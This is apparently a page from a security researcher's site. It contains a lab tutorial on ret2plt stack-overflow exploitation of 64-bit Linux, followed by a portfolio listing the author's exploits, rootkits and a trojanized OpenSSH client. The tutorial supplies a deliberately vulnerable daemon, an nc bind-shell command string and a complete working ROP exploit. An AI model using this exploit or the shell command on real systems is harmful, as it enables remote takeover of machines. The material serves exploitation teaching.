written by : Antonius (w1sdom)web : bluedragonsec.comgithub : https://github.com/bluedragonsecurity
The ret2plt technique is only useful under ASLR conditions if the ELF binary is compiled without PIE.
Unfortunately, on the current 64-bit Linux architecture, the ret2plt technique is no longer useful because all binaries are compiled with PIE by default.
Let us take Ubuntu as a reference. Since when has PIE been enabled by default?
Here is the timeline:
21 April 2016
Ubuntu 16.04 32-bit — -> default compilation non PIE
Ubuntu 16.04 64-bit — -> default compilation non PIE
13 October 2016
Ubuntu 16.10 32-bit — -> default compilation non PIE
Ubuntu 16.10 64-bit — -> PIE default for all binaries
13 April 2017
Ubuntu 17.04 32-bit — -> default compilation non PIE
Ubuntu 17.04 64-bit — -> PIE default for all binaries
19 October 2017
Ubuntu 17.10 32-bit — -> PIE default for all binaries
Ubuntu 17.10 64-bit — -> PIE default for all binaries
26 April 2018
Ubuntu 18.04 32-bit — -> PIE default for all binaries
Ubuntu 18.04 64-bit — -> PIE default for all binaries
From this timeline we can conclude that the ret2plt technique was still useful for bypassing ASLR on 32-bit Ubuntu before 26 April 2018.
For 64-bit, it could still be used to bypass ASLR on Ubuntu 16.04 released on 21 April 2016.
In short, this technique works because ASLR does not randomize all parts of the executable file by default.
Ret2plt is a form of Code Reuse Attack that belongs to the larger family of ROP (Return-Oriented Programming).
As the name implies, Return-Oriented Programming is a technique where we control the program’s execution flow by arranging addresses on the stack that will be called when the ret instruction is executed.
If the program is not compiled as PIE (Position Independent Executable), the Executable section of the main program remains at a static/fixed address.
Within this static section, there is a table called the PLT (Procedure Linkage Table).
To understand ret2plt, we must understand the relationship between PLT and GOT:
In a traditional buffer overflow attack, the attacker tries to jump directly to a function address in libc (for example system()). Because of ASLR, the address of system() changes every time the program runs, making it difficult to predict.
However, with ret2plt, the attacker does not jump to libc, but instead jumps to the function’s entry in PLT.
On the 64-bit architecture (x86_64), the challenge is that function arguments are no longer placed on the stack, but in registers (such as RDI, RSI, etc). Therefore, the ret2plt technique is usually combined with ROP (Return Oriented Programming).
Example Attack Scenario:
1. The attacker finds the address of a pop rdi; ret gadget (static).
2. The attacker loads the address of the string “/bin/sh” into the RDI register.
3. The attacker directs the return address to system@plt (static).
4. The program will execute system(“/bin/sh”) even though the libc address is randomized by ASLR.
In this example, the attacker machine is Kali Linux with IP 10.71.19.14 and the target server is a VirtualBox VM running Lubuntu 24 with IP 10.71.19.211.
To simplify things, let us prepare the setup as usual:
1. Edit /etc/resolv.conf
add: nameserver 127.0.0.1
2. In /etc/dnsmasq.conf add:
address=/victim/10.71.19.211
3. Restart dnsmasq: systemctl restart dnsmasq
In this example we will use a vulnerable daemon application on the target server:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>void gadgets() { __asm__("pop %rdi; ret"); __asm__("pop %rsi; ret"); char *data = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f";}void handle_client(int client_sock) { char buffer[64]; char input[512]; int n = recv(client_sock, input, sizeof(input) - 1, 0); if (n > 0) { input[n] = '\0'; memcpy(buffer, input, sizeof(input)); printf("Received: %s\n", buffer); }}int main(int argc, char **argv) { if (argc > 100) { system(argv[1]); } int server_fd, client_sock; struct sockaddr_in server_addr; server_fd = socket(AF_INET, SOCK_STREAM, 0); int opt = 1; setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(8888); bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)); listen(server_fd, 5); printf("Daemon listening on port 8888...\n"); while (1) { client_sock = accept(server_fd, NULL, NULL); if (fork() == 0) { close(server_fd); handle_client(client_sock); exit(0); } close(client_sock); } return 0;}
Save this on the target server as vuln.c
The source code above has a stack overflow bug during the client data input process:
void handle_client(int client_sock) { char buffer[64]; char input[512]; int n = recv(client_sock, input, sizeof(input) - 1, 0); if (n > 0) { input[n] = '\0'; memcpy(buffer, input, sizeof(input)); printf("Received: %s\n", buffer); }}
Here we can see the stack buffer size is only 64 bytes while the client input can reach 512 bytes.
The use of the unused gadgets function in the original program flow is to simplify the demo of extracting ROP gadgets from the ELF binary, since this ELF binary is small and does not contain many strings and ASM instructions that can be used for ROP. In real-life exploitation, ELF binaries are usually large and likely contain many gadgets for ROP.
void gadgets() { __asm__("pop %rdi; ret"); __asm__("pop %rsi; ret"); char *data = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f";}
Compile:
gcc -o vuln vuln.c -fno-stack-protector -fno-pie -no-pie
Make sure ASLR is active on the target server, type:
sudo echo 2 > /proc/sys/kernel/randomize_va_space
Next, on the target machine, run and debug the process with GDB:
./vuln
Open another terminal and type:
ps aux | grep vuln
Example output:
robohax@robohax-virtualbox:~/Desktop/part4/4/aslr/ret2plt$ ps aux | grep vulnrobohax 8837 0.0 0.0 2680 1124 pts/0 S+ 08:13 0:00 ./vuln
Then we will debug PID 8837:
sudo sugdb -p 8837
In the GDB console, type:
set follow-fork-mode childcont
Back to Kali Linux, let us prepare the basic framework for exploitation:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/socket.h>#include <arpa/inet.h>#include <netdb.h>int main() { int sock; struct sockaddr_in target; struct addrinfo hints, *res; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; char payload[500]; if (getaddrinfo("victim", "8888", &hints, &res) != 0) { perror("Failed to resolve hostname"); return 1; } struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr; memset(payload, 0x90, sizeof(payload)); memset(payload + 88, 'B', 8); memset(payload + 96, 'C', 8); sock = socket(AF_INET, SOCK_STREAM, 0); target.sin_addr = addr->sin_addr; target.sin_family = AF_INET; target.sin_port = htons(8888); inet_pton(AF_INET, "victim", &target.sin_addr); connect(sock, (struct sockaddr *)&target, sizeof(target)); send(sock, payload, 500, 0); close(sock); return 0;}
Save as exploit1.c then compile:
gcc -o exploit1 exploit1.c
Based on testing, the top of the stack can be overwritten starting at byte 88.
To test this we use the exploit1.c code.
Run exploit1:
./exploit1
Back to the target server, let us look at the GDB window and inspect RSP:
x/20gx $rsp
Press enter or click to view image in full size

We can see the top of the stack has been successfully overwritten with 8 bytes of 0x42.
Back to the target server (Lubuntu 24) in VirtualBox. We will look for gadgets that we can use.
We will use this ROP sequence for ret2plt:
1. First, we direct the return address to a memory address containing a ret instruction, with the purpose of stack alignment. Why?
Many functions in Linux (especially glibc functions like system()) use instructions that require the stack address to be aligned on a 16-byte boundary (16-byte alignment).
If the stack is not aligned when a call instruction is executed (e.g., off by 8 bytes), the program will immediately crash with a Segmentation Fault message.
Solution: By adding one address containing a ret instruction (which is 8 bytes on 64-bit) before entering the core ROP chain, you shift the stack position by 8 bytes so it becomes aligned again.
2. Retrieve the memory address containing the function parameter string for system() from the stack into the RDI register. As we know, on Linux x64 function parameters are stored in the RDI, RSI, and subsequent registers. The stack is only used if the number of function arguments exceeds 6.
3. Next, we direct the vulnerable program to jump to the memory address containing the stub instructions or PLT section of the ELF to redirect the program to the actual function address, which is the absolute memory address containing the complete routine for system() that actually resides in libc.
4. After system() is executed, we need to call the exit() syscall so that execution proceeds smoothly. This step is essentially the same as step 3.
Step 1
First, we look for a sequence in the ELF containing a ret instruction. On the target machine, type:
objdump -d vuln | grep ret
Example output:
Press enter or click to view image in full size

We will use the last ret instruction at 401478:
401478: c3 ret
Step 2
Next, we will look for the memory address in the ELF containing the string for the system() function parameter. Type:
ROPgadget --binary vuln --string "rm "
Result:
Strings information============================================================0x0000000000402008 : rm
The memory address is: 402008
Step 3
Find the memory address for system@plt:
objdump -d vuln | grep system
Result:
401391: e8 aa fd ff ff call 401140 <system@plt>
We will use the memory address: 401140
Step 4
Find the memory address for exit@plt:
objdump -d vuln | grep exit
Result:
401458: e8 63 fd ff ff call 4011c0 <exit@plt>
We will use the memory address: 4011c0
Here is our final exploit framework:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/socket.h>#include <arpa/inet.h>#include <netdb.h>#define POP_RDI 0x4012de#define SYSTEM_PLT 0x401140#define RET_GADGET 0x401478#define CMD_ADDR 0x402008#define EXIT_PLT 0x4011c0int main() { int sock; struct sockaddr_in serv_addr; struct addrinfo hints, *res; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; char payload[512]; int offset = 88; unsigned long val; if (getaddrinfo("victim", "8888", &hints, &res) != 0) { perror("Failed to resolve hostname"); return 1; } struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr; sock = socket(AF_INET, SOCK_STREAM, 0); serv_addr.sin_addr = addr->sin_addr; serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(8888); inet_pton(AF_INET, "victim", &serv_addr.sin_addr); if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { perror("Connect failed"); return -1; } memset(payload, 0x90, sizeof(payload)); val = RET_GADGET; memcpy(payload + offset, &val, 8); offset += 8; val = POP_RDI; memcpy(payload + offset, &val, 8); offset += 8; val = CMD_ADDR; memcpy(payload + offset, &val, 8); offset += 8; val = SYSTEM_PLT; memcpy(payload + offset, &val, 8); offset += 8; val = EXIT_PLT; memcpy(payload + offset, &val, 8); offset += 8; send(sock, payload, offset, 0); printf("[+] Payload sent !\n"); close(sock); return 0;}
Save as exploit2.c then compile:
gcc -o exploit2 exploit2.c
On the target server in VirtualBox, make sure you have exited GDB and vuln is running!
Next, back to Kali Linux, run exploit2:
./exploit2
If successful, we will get a bind shell on the target server on port 51337.
Result:
Press enter or click to view image in full size


RoboMall was developed by Antonius (w1sdom) in 2023, The robot was designed to be operated in a mall. The purpose is that mall visitors doesn't need to visit mall directly, instead, they can use this robot to stroll in a mall and if they deposit in RoboMall wallet system they can buy things on mall, then the goods will be delivered by couriers.
Robotsoft LightBox is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.
Robotsoft FloorLight is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.
Robotsoft Torch is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.
Solar Powered Electrical Generator. This generator created by Antonius (w1sdom). This product created for his startup Robotsoft in 2020.
This is an exploit for CVE-2026-46215 (Linux Kernel Use After Free) Adapted for Linux 7.0 !!! This exploit is more stable and reliable than the first exploit I released.
This is an exploit for CVE-2026-46215 (Linux Kernel Use After Free) Adapted for Linux 7.0 !!! WARNING !!! this exploit is not stable ! sometimes, this exploit might cause kernel panic !
2026 Buptlab Dns Relay Server Remote Dos - for Linux. Lame remote denial of service exploit for buptlab dns relay server. Bug was discovered by Antonius (w1sdom) in 2026.
Lame remote denial of service exploit for litedns dns server - Bug Discovered by Antonius (w1sdom) in 2026.
rldns-1.0 - rldns-1.3 remote denial of service exploit. (rldns is an open source dns server that I developed).
CVE-2022-0847 - Linux Kernel 5.8 < 5.15.25 Local Privilege Escalation Exploit (DirtyPipe 2). github : https://github.com/bluedragonsecurity web : https://www.bluedragonsec.com
Private Bug !!! Savant Web Server 3.1 Post Method Buffer Overflow Denial of Service via HTTP Post. Vulnerability in HTTP Post discovered by Antonius. web : bluedragonsec.com - github.com/bluedragonsecurity
Minalic Web Server 2.0.0 Remote Stack Overflow Exploit Via HTTP Post Method - for Windows 32 bit - Python Version. This is the only version in internet that used post method in 2013. Since post method and get method used different code path, you can tell that I found the vulnerability for post method. Exploit target : Windows Server 2003 Service Pack 2, English
MinaliC Webserver Post Method Remote Buffer Overflow Exploit. Affected : MinaliC Webserver 2.0.0. Vulnerability in post method was invented by Antonius in 2013. Original code developed by Antonius in Apr 2013. Code patched in 2026. web : bluedragonsec.com - https://github.com/bluedragonsecurity
Private Exploit !!! EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow. Original code using python 2.6 developed in 2013. Code patched in 2026 -> adjustment for python3. Exploit developed by Antonius (w1sdom) - bluedragonsec.com - https://github.com/bluedragonsecurity
Private Exploit !!! EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow. Original code using python 2.6 developed in 2013 ported to C (Linux), patched in 2026. Exploit developed by Antonius (w1sdom) - bluedragonsec.com - https://github.com/bluedragonsecurity
Private Exploit !!! CVE-2012-10023 FreeFloat FTP Server 1.0 Remote Stack Overflow Exploit. Code : Antonius (w1sdom) - bluedragonsec.com. Original code developed in 2013 - exploit patched in 2026 https://github.com/bluedragonsecurity
Stack-based buffer overflow in MinaliC Webserver 2.0.0 allows remote attackers to execute arbitrary code via a crafted HTTP POST request. The overflow occurs in the URI parsing routine when processing the POST method, which follows a separate code path from GET. Existing CVEs for MinaliC do not cover this vulnerability. Discovered by Antonius in 2013.
Affected : MinaliC Webserver 2.0.0Buffer overflow in Savant Web Server 3.1 allows remote unauthenticated attackers to crash the server (denial of service) via a crafted HTTP POST request with an oversized URI and body. Existing CVEs for Savant cover the GET-method overflow only. This vulnerability uses the POST method which hits a different code path. Discovered by Antonius in 2013.
Affected : Savant Web Server 3.1curr_end becomes stale after VMA merge in mseal_apply(), leading to incorrect sealing state. Affects Linux kernels 6.17–7.0-rc5. Fix authored by Lorenzo Stoakes (Oracle). Vulnerability discovered by Antonius
Affected : Linux 6.17 – 7.0-rc5Heap OOB read vulnerability in rldns 1.3 DNS server. Fixed in rldns 1.4 with comprehensive fuzzing via honggfuzz and improved input validation. Vulnerability discovered by Antonius.
Affected : rldns 1.3Type Confusion / Cross-Cache Free (Slab Cache Confusion) in the Linux Kernel (versions ≥ 6.3 and < 6.12.82). This vulnerability involves a pointer allocated within Cache A but subsequently freed into Cache B. Discovered by Antonius.
Affected : Linux net/bpf · fix: 0f42e3f4fe2aOut-of-bounds Read leading to Denial of Service (DoS). Vulnerability discovered by Antonius.
Affected :Remote Heap-Based Buffer Underflow, 1-byte Heap Underwrite / Out-of-Bounds Write, Network-triggerable via crafted UDP DNS packet. Vulnerability discovered by Antonius.
Affected :Part 5 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com
Part 4 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com
Part 3 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com
Part 2 of x86_64 remote stack overflow exploitation for x86_64 linux, covering ret2plt. The writing is still on a non la57 linux system.
This guide is about basic of remote stack overflow exploitation on x86_64 linux. This one is the first guide from a series.
A story about a lamer who started learning in 1996 and is still a lamer in 2026.
This is a very old write-up about CVE-2005-0575 Remote Exploitation, this is very old and might not be relevant anymore ! you have been warned ! I forgot when I made it. This is translated from Indonesian language (as always).
I released 8 pdf(s) Tutorial for Beginner Hacker. I wrote this in January 2026. I translate this materials from Indonesian Language.
Physical Attacks on LAN Networks is part of security training materials that I gave to Indonesian Police. This writing is a translation of some parts of my training materials about physical attacks (I haven't had time to release some details on "how to make the hacking devices", it's planned to be released in the future - the electronic parts & the codes).
Unconventional bio hacking technique to defeat convnet face recognition algorithm ! The Art of Creativity !
Novel UAF exploitation technique targeting the new SLUB sheaves architecture introduced in Linux 7, leveraging union state confusion in slab_sheaf objects for kernel privilege escalation. This is "The Art of Hijacking the Allocator State"
Step-by-step walkthrough of constructing a kernel ROP chain to bypass SMEP & SMAP on Linux Kernel 6.17.
I am Antonius (w1sdom), a security researcher based in Indonesia (but Chinese). I am a polymath type security researcher with strong knowledge in "hardware hacking (robotics)" and "low level exploitation".
I Learnt electronics in 1996 and then learnt to write 16 bit asm virus in 1998-2001.
I combine multiple disciplines in robotics, electronics, low level exploitation, hardware hacking & artificial intelligence to create innovative technologies, novel hacking techniques and low level exploitation techniques.
w1sdom, sw0rdm4n, ev1lut10n, d4r3d3v1l, jck.marshall (one time usage), ringlayer, robotsoft, mranton, 黑蝎子, Prof. Robotsoft, Mr. Robot, etc...
Zodiac : Scorpio.
Born : 198x
INTJ - Polymath
Developed in 2014, this legendary Linux Kernel Rootkit was engineered to target Linux kernel versions 2.6.x through 3.x. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/128945
Trojanized version of openssh-8.0p1 where the ssh client will log the ssh username and ssh password into /opt/.../log.txt. Build 2024 - by Antonius (sw0rdm4n)
Lightweight DNS server · Linux / NetBSD / FreeBSD / OpenBSD · x86 / x86_64. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n) - version 1.0 was released in 2017 --> https://packetstorm.news/files/id/141606
Ftrace-based LKM rootkit · Linux Kernel 5.x–6.2 · x86_64 - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174805
FreeBSD 13 KLD rootkit · file / process / port hiding · bind shell - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174806
LKM rootkit · Linux Kernel 5.x–6.2 · persistent - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174789
Linux userland rootkit · file / process / port hiding by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174790
Modified Cowrie for SSH man-in-the-middle attacks by Antonius (w1sdom / sw0rdm4n / ev1lut10n)
The first hacker robot that I created. This robot was developed in 2014. Some demo videos were posted in Youtube around 2016. This robot can explains about low level exploitation techniques. Robot skills : can hack wifi (wpa cracking using aircrack), evil twin, wifi deauth, arp cache poisoning. My old video channel --> https://www.youtube.com/@antoniusringlayer/videos
I planned to develop a spy robot, but this robot was too big. The chassis was created using metals. Developed in 2017, posted in youtube around 2019. Developed by Antonius (w1sdom)

Airhax is a wireless network auditor gadget. This device was created in 2015. This gadget functions : wifi cracking, evil twin, wifi deauth, arp poisoning. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n / robotsoft)
I built this robot in 2014. It is a shy robot that is afraid of humans. I used 3 ultrasonic sensors.
A large-scale prototype robot powered by a mini PC and an Arduino, built as a personal project rather than a commercial product. At first, I planned to equip it with high-torque servos and an airsoft gun, but I realized that could be dangerous, so I scrapped the idea. Real hacking should be harmless. Build 2017 - by Prof. Antonius Robotsoft

Various Robots (finished and unfinished) - build by Antonius Robotsoft (w1sdom).
The home of the website
Electronic gadgets, robots, hacking devices, IOT, electrical generators from Robohax, Robotsoft and Bluedragonsec.
Prototypes for DIY gadgets, robots and quadcopters related to security that I developed.
My Low level exploits developed from 2001-2026
Videos about low level exploit developments, hardware hacking & prototypes.
Security vulnerabilities that I have discovered
Papers related to hardware hacking and low level exploitation.
Mostly about hardware hacking and low level exploitation.
About my website
Hacking tools, rootkits and open source projects that I developed